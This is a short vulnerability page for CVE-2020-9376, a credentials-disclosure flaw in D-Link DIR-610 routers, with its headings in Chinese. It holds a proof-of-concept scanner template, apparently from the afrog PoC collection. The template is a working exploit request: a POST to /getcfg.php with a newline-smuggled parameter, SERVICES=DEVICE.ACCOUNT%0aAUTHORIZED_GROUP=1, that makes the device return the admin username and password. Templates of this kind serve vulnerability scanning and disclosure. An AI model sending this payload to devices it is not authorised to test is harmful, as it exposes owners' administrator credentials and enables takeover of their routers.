CVE-2020-9376: DLink dir610 credentials dump

漏洞描述

D-Link DIR-610 devices allow Information Disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php. NOTE: This vulnerability only affects products that are no longer supported by the maintainer

PoC代码[已公开]

id: CVE-2020-9376

info:
  name: DLink dir610 credentials dump
  author: x1n9Qi8
  severity: high
  description: |
    D-Link DIR-610 devices allow Information Disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php. NOTE: This vulnerability only affects products that are no longer supported by the maintainer
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9376
  tags: cve,cve2020,dlink,credentials,dump
  created: 2023/08/17

rules:
  r0:
    request:
      method: POST
      path: /getcfg.php
      body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
    expression: response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
expression: r0()

来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-9376.yaml